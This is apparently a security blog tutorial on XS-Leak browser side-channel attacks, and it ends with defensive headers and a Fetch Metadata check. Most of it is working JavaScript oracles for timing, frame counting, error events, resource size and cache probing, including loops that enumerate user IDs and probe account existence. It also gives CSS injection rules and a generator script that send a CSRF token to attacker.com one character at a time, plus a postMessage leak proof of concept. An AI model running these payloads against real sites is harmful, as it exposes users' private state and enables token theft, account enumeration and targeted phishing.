XS-Leaks: Cross-Origin Side Channel Attacks Explained

Deep technical guide to XS-Leak browser side-channel attacks — timing oracles, frame counting, error-based oracles, cache timing, CSS injection exfiltration, and browser defenses.

lazyhackers
Mar 27, 2026 · 17 min read · 9 views

What Are XS-Leaks?

Cross-Site Leaks (XS-Leaks) are a class of browser-based side-channel attacks where a malicious website can infer information about a victim's interactions with other websites, even though it cannot directly read cross-origin data due to the Same-Origin Policy. The critical distinction from XSS: XS-Leaks exploit browser behaviors that are by design, not bugs. They arise from observable side effects of cross-origin resource loading.

The attacker's malicious page causes the victim's browser to interact with the target site (which has the victim's session cookies automatically included). The attacker can't read the response body (SOP prevents this), but can observe observable properties of the response: did it load or error? How long did it take? How large was it? How many frames did it create? These observations become information oracles about the victim's state on the target site.

XS-Leaks require the victim to visit the attacker's page while being logged into the target site. The attack is entirely passive from the server's perspective — all requests look like legitimate browser traffic. This makes them extremely difficult to detect and even harder to patch without breaking legitimate browser features.

Cross-Origin Timing Attacks

The simplest XS-Leak: measuring how long it takes for a cross-origin request to complete reveals information about the response content.

// Timing attack to detect if user is logged in:
// If the user is logged in, /dashboard returns 200 with content (takes 200ms)
// If not logged in, /dashboard returns 302 redirect to /login (takes 50ms)

async function isLoggedIn(targetSite) {
  const measurements = [];

  for (let i = 0; i < 10; i++) {
    const start = performance.now();
    await fetch(`https://${targetSite}/dashboard`, {
      mode: 'no-cors',           // required for cross-origin
      credentials: 'include',    // send target site's cookies
      cache: 'no-store'
    });
    const elapsed = performance.now() - start;
    measurements.push(elapsed);
  }

  // Average timing
  const avg = measurements.reduce((a, b) => a + b) / measurements.length;
  const isAuthenticated = avg > 150;  // threshold based on profile

  console.log(`${targetSite}: ${isAuthenticated ? 'logged in' : 'not logged in'} (avg: ${avg.toFixed(0)}ms)`);
  return isAuthenticated;
}

// Enhanced timing via resource loading:
function timeResourceLoad(url) {
  return new Promise((resolve) => {
    const img = new Image();
    const start = performance.now();
    img.onload = img.onerror = () => resolve(performance.now() - start);
    img.src = url + '?cb=' + Date.now();
  });
}

// Detecting account existence:
// GET /api/user/check?username=TARGET_USER
// 200 (user exists, takes 100ms) vs 404 (no user, takes 20ms)
async function userExists(username) {
  const url = `https://target.com/api/user/check?username=${username}`;
  const times = await Promise.all([...Array(5)].map(() => timeResourceLoad(url)));
  return times.reduce((a, b) => a + b) / times.length > 80;
}

High-Resolution Timing with SharedArrayBuffer

// Browsers throttle performance.now() resolution to prevent timing attacks
// However: SharedArrayBuffer + Atomics provides high-resolution timing
// (requires COOP/COEP headers, so this bypasses timing throttling where those are set)

let sab = new SharedArrayBuffer(8);
let arr = new Int32Array(sab);

// High-resolution timer using Atomics:
function getHighResTiming() {
  const worker = new Worker(URL.createObjectURL(new Blob([`
    let arr = new Int32Array(self.arr);
    function tick() {
      Atomics.add(arr, 0, 1);
      requestAnimationFrame(tick);  // or setTimeout(tick, 0)
    }
    self.onmessage = e => { self.arr = e.data; tick(); };
  `])));
  worker.postMessage(sab);
  return {
    measure: () => Atomics.load(arr, 0)
  };
}

// Use: measure difference in ticks = ~1ms precision timing
const timer = getHighResTiming();
const start = timer.measure();
await fetch('https://target.com/private', {mode: 'no-cors', credentials: 'include'});
const elapsed = timer.measure() - start;
console.log(`Ticks: ${elapsed}`);  // higher precision than performance.now()

Frame Counting Oracle

When a cross-origin page is embedded in an iframe, JavaScript cannot read its content (SOP), but it can observe the number of frames (sub-frames) the page creates. This reveals structural information about the page:

// Frame counting attack:
// Scenario: target.com/user-profile?id=123
// If user exists: page has 3 iframes (photo, activity widget, friends list)
// If user doesn't exist: page has 1 iframe (generic error layout)

function countFrames(targetUrl) {
  return new Promise((resolve) => {
    const iframe = document.createElement('iframe');
    iframe.src = targetUrl;
    iframe.style.display = 'none';
    document.body.appendChild(iframe);

    // Poll for frame count stability
    let lastCount = -1;
    let stable = 0;
    const poll = setInterval(() => {
      let count;
      try {
        count = iframe.contentWindow.length;  // cross-origin: only frame count is readable!
      } catch(e) {
        count = 0;
      }

      if (count === lastCount) {
        stable++;
        if (stable > 3) {
          clearInterval(poll);
          document.body.removeChild(iframe);
          resolve(count);
        }
      } else {
        stable = 0;
        lastCount = count;
      }
    }, 200);
  });
}

// Detect if user profile exists:
async function profileExists(userId) {
  const frames = await countFrames(`https://target.com/profile/${userId}`);
  return frames >= 3;  // authenticated profile has 3 frames
}

// Use case: enumerate user IDs to build account database
for (let id = 1000; id < 2000; id++) {
  const exists = await profileExists(id);
  if (exists) console.log(`User ${id} exists`);
}

Error-Based Oracles

When a cross-origin resource triggers an error (onload vs onerror events), the error status itself reveals information — even though the response body cannot be read:

// Error oracle for detecting authentication state:
// Authenticated: /api/private returns 200 → img.onload fires
// Unauthenticated: /api/private returns 401 → img.onerror fires

function crossOriginProbe(url) {
  return new Promise((resolve) => {
    const img = new Image();
    img.onload = () => resolve('loaded');  // 2xx response with image content
    img.onerror = () => resolve('error');  // 4xx/5xx or non-image content
    img.src = url;
  });
}

// IMPORTANT: onerror fires for BOTH 401/403 AND for 200 responses that aren't images
// Need to understand the target's behavior first

// Script tag oracle:
function scriptOracle(url) {
  return new Promise((resolve) => {
    const script = document.createElement('script');
    script.onload = () => { resolve('loaded'); document.body.removeChild(script); };
    script.onerror = () => { resolve('error'); document.body.removeChild(script); };
    script.src = url;
    document.body.appendChild(script);
  });
}
// onload fires if script returned 200 (even if not valid JavaScript)
// onerror fires for 4xx/5xx

// Link/CSS oracle for detecting authenticated admin resources:
function cssOracle(url) {
  return new Promise((resolve) => {
    const link = document.createElement('link');
    link.rel = 'stylesheet';
    link.onload = () => { resolve('loaded'); };
    link.onerror = () => { resolve('error'); };
    link.href = url;
    document.head.appendChild(link);
  });
}
// Fires onload for any 200 response (even non-CSS)
// Fires onerror for any error status

// Practical: detect if victim has specific private data
const result = await crossOriginProbe('https://target.com/api/invoices/12345');
// loaded = invoice 12345 exists and victim can access it
// error = either doesn't exist or victim lacks permission

Resource Size Oracle via Performance API

The performance.getEntriesByType('resource') API reveals the size of loaded cross-origin resources when CORP or Timing-Allow-Origin headers are present. Even without those headers, transferSize may be available for some resources:

// Performance API size oracle:
async function measureResponseSize(url) {
  await fetch(url, { mode: 'no-cors', credentials: 'include' });

  // Wait briefly for performance entry to appear
  await new Promise(r => setTimeout(r, 100));

  const entries = performance.getEntriesByName(url);
  if (entries.length > 0) {
    const entry = entries[entries.length - 1];
    console.log('Transfer size:', entry.transferSize);  // 0 if blocked by CORP
    console.log('Encoded body size:', entry.encodedBodySize);
    console.log('Duration:', entry.duration);
  }
}

// Even if size is blocked (shows 0): the PRESENCE of the entry and timing still leaks info

// Object onload/onerror with performance:
function objectOracle(url) {
  return new Promise((resolve) => {
    const obj = document.createElement('object');
    obj.type = 'text/html';
    obj.data = url;
    obj.onload = () => {
      // Get size from performance:
      const entries = performance.getEntriesByName(url);
      const size = entries.length > 0 ? entries[entries.length - 1].transferSize : 0;
      resolve({ status: 'loaded', size });
    };
    obj.onerror = () => resolve({ status: 'error', size: 0 });
    document.body.appendChild(obj);
  });
}

// Use case: detect if search results page is empty or has results
// Empty results page: ~2KB response
// Results page with data: ~15KB response
// Detect by measuring transfer size of search results

async function searchOracle(query) {
  const url = `https://target.com/search?q=${encodeURIComponent(query)}`;
  const { size } = await objectOracle(url);
  return size > 5000;  // >5KB = has results
}

Cache Timing Attacks

// Browser cache timing: if a resource is cached, it loads faster
// Detect if the victim previously loaded a specific private resource

// Step 1: Embed the target resource in attacker page
const targetUrl = 'https://bank.com/user/statement/january-2024.pdf';
const img = new Image();
img.src = targetUrl;  // browser will check cache before fetching

// Step 2: Measure load time
const start = performance.now();
await new Promise(r => { img.onload = img.onerror = r; });
const loadTime = performance.now() - start;

// Cached: ~2ms, Not cached: ~200ms
const wasCached = loadTime < 20;
console.log(`Statement was previously accessed: ${wasCached}`);

// Cache probing attack (more reliable):
async function probeCached(url) {
  const measurements = [];
  for (let i = 0; i < 5; i++) {
    const t = await timeResourceLoad(url + '#' + i);  // vary fragment to avoid browser dedup
    measurements.push(t);
  }
  const min = Math.min(...measurements);
  return min < 30;  // <30ms = cached
}

// Security note: modern browsers have implemented cache partitioning
// (keyed by top-level origin) to prevent this attack
// Chrome 86+, Firefox 85+, Safari: all have partitioned caches
// This attack is largely mitigated on modern browsers

CSS Injection Data Exfiltration

CSS attribute selectors can detect the value of HTML attributes. When combined with external resource loading, CSS can exfiltrate data character by character without JavaScript:

// CSS injection attack — exfiltrate CSRF token via attribute selector
// Requires: ability to inject CSS into the target page
// (e.g., via a CSS injection vulnerability, or same-site CSS include)

// The CSRF token is in: <input name="csrf_token" value="abc123...">

// Inject CSS that loads an external resource when the value starts with each character:
input[name="csrf_token"][value^="a"] { background: url(https://attacker.com/leak?v=a); }
input[name="csrf_token"][value^="b"] { background: url(https://attacker.com/leak?v=b); }
input[name="csrf_token"][value^="c"] { background: url(https://attacker.com/leak?v=c); }
/* ... through all characters */

// When the page loads, only the rule matching the first character fires
// Attacker observes which request arrives at attacker.com
// Then craft CSS for the next character (given first char = 'a'):
input[name="csrf_token"][value^="aa"] { background: url(https://attacker.com/leak?v=aa); }
input[name="csrf_token"][value^="ab"] { background: url(https://attacker.com/leak?v=ab); }
/* ... etc */

// Python script to generate CSS for each prefix:
def generate_css(known_prefix, attacker_url, charset='abcdefghijklmnopqrstuvwxyz0123456789-_'):
    css = ""
    for char in charset:
        prefix = known_prefix + char
        css += f'input[name="csrf_token"][value^="{prefix}"] {{ background: url({attacker_url}/leak?v={prefix}); }}\n'
    return css

# Automating the exfiltration:
# 1. Inject initial CSS (no prefix)
# 2. Receive first character from attacker server
# 3. Reinject CSS with known first char
# 4. Receive second character
# 5. Repeat until full token is recovered

# CSS injection via @import:
# If you can inject a CSS file path or @import directive:
@import url('https://attacker.com/generate-css?prefix=');
# Server dynamically generates CSS to probe the next character

# More efficient: combine with a server that generates CSS on-demand:
# https://attacker.com/css?prefix=ab returns CSS for all next characters after "ab"
# Combined with CSS @import chains for automated multi-round exfiltration

PostMessage Leaks

// PostMessage without origin validation:
// Target site code (vulnerable):
window.addEventListener('message', function(event) {
  // MISSING: if (event.origin !== 'https://trusted.com') return;
  const response = processRequest(event.data);
  event.source.postMessage(response, '*');  // sends to ANY origin!
});

// Attacker can:
// 1. Embed target in iframe
// 2. Send message to iframe
// 3. Receive private response via postMessage

// Attack PoC:
const iframe = document.createElement('iframe');
iframe.src = 'https://target.com/dashboard';
document.body.appendChild(iframe);

window.addEventListener('message', (event) => {
  if (event.origin === 'https://target.com') {
    console.log('Received private data:', event.data);
    // Data may include: user info, CSRF tokens, private content
  }
});

// After iframe loads:
iframe.contentWindow.postMessage({action: 'getProfile'}, 'https://target.com');

// Also: listening for messages from the target without sending:
// Some SPAs broadcast events via postMessage for inter-widget communication
// Listen for all messages and filter by origin:
window.addEventListener('message', (event) => {
  console.log(`From: ${event.origin}`, event.data);
});

XS-Leaks Oracle Summary

Technique Observable Property What It Leaks Browser Mitigation
Timing attack Response time Auth state, user existence, data presence Timing throttling (partial)
Frame counting window.length Page structure, authentication state COOP same-origin
onload/onerror Success vs error Resource existence, HTTP status class CORP, SameSite cookies
Performance API Resource size Response content differences Timing-Allow-Origin absent = blocked
Cache timing Load time difference Previously accessed URLs Cache partitioning (Chrome 86+)
CSS injection External resource load Attribute values (CSRF tokens) CSP, CORP
History sniffing :visited CSS style Previously visited URLs Mitigated in modern browsers
postMessage Message content Private data if origin not checked Proper origin validation

Real-World Impact Scenarios

// Scenario 1: Account existence oracle
// Use case: find if a corporate email belongs to a user of target service
// (for targeted phishing, stalking, competitive intelligence)

async function accountExists(email) {
  const url = `https://target.com/forgot-password?email=${encodeURIComponent(email)}`;
  const time = await timeResourceLoad(url);
  // Different timing for known vs unknown emails due to different backend processing
  return time > 500;  // if email found: bcrypt hash check (slow), if not: fast rejection
}

// Scenario 2: CSRF token exfiltration via CSS injection
// Allows CSRF attacks even with anti-CSRF tokens

// Scenario 3: Detect private data
// "Does victim have any unpaid invoices?"
// GET /api/invoices?status=unpaid
// 200 with content (has unpaid) vs 200 with empty array (no unpaid)
// Size difference detectable via performance API

// Scenario 4: Inferring search results
// "Is the victim's name in the company directory?"
async function isNameInDirectory(targetName) {
  const url = `https://corp.company.com/directory/search?q=${encodeURIComponent(targetName)}`;
  const before = performance.now();
  await fetch(url, {mode: 'no-cors', credentials: 'include'});
  const duration = performance.now() - before;
  return duration > 300;  // search with results takes longer than empty results
}

Defenses: COOP, COEP, CORP, Fetch Metadata

# Cross-Origin Opener Policy (COOP):
# Prevents other origins from getting a reference to your window
# Breaks frame counting attacks
Cross-Origin-Opener-Policy: same-origin
# Values: same-origin, same-origin-allow-popups, unsafe-none

# Cross-Origin Embedder Policy (COEP):
# Requires all resources to opt-in to cross-origin embedding
# Needed for SharedArrayBuffer (prevents high-res timing)
Cross-Origin-Embedder-Policy: require-corp

# Cross-Origin Resource Policy (CORP):
# Prevents cross-origin loading of your resources
# Breaks error oracle attacks
Cross-Origin-Resource-Policy: same-origin
# Values: same-site, same-origin, cross-origin

# Fetch Metadata headers (sent by browser on cross-origin requests):
Sec-Fetch-Site: cross-site  # or same-site, same-origin, none
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image

# Server-side defense using Fetch Metadata:
# Reject requests where Sec-Fetch-Site: cross-site for sensitive endpoints:
def requires_same_origin(request):
    fetch_site = request.headers.get('Sec-Fetch-Site', 'none')
    fetch_mode = request.headers.get('Sec-Fetch-Mode', '')
    if fetch_site in ['cross-site', 'same-site'] and fetch_mode == 'no-cors':
        return False  # reject cross-origin embeds
    return True

# SameSite cookies:
# SameSite=Strict: cookies NOT sent on cross-site requests
# SameSite=Lax: cookies sent on top-level navigation GET
# SameSite=None; Secure: cookies sent on all cross-site requests (required for some use cases)
Set-Cookie: session=token; SameSite=Strict; Secure; HttpOnly

# Resource Timing API restriction:
# Add Timing-Allow-Origin header only if cross-origin timing is acceptable:
Timing-Allow-Origin: https://trusted-partner.com
# Without this header: performance API shows 0 for cross-origin resource sizes
XS-Leaks are particularly difficult to test because they require specific browser versions (behaviors differ significantly between Chrome/Firefox/Safari), network conditions, and careful calibration of timing thresholds. The XS-Leaks Wiki (xsleaks.dev) maintains a comprehensive browser compatibility matrix for each technique — always check it before testing a specific leak type against a target.

XS-Leaks represent a fascinating class of vulnerabilities that exist at the intersection of web standards, browser implementation, and application design. Unlike most web vulnerabilities, they cannot be "patched" without fundamentally changing browser behavior or adding additional security headers. The most effective defense is defense-in-depth: SameSite cookies (prevents credential inclusion in cross-origin requests), COOP/COEP/CORP headers (restricts cross-origin resource access), and Fetch Metadata validation (allows server-side detection and rejection of likely XS-Leak probing requests).

Reactions

Related Articles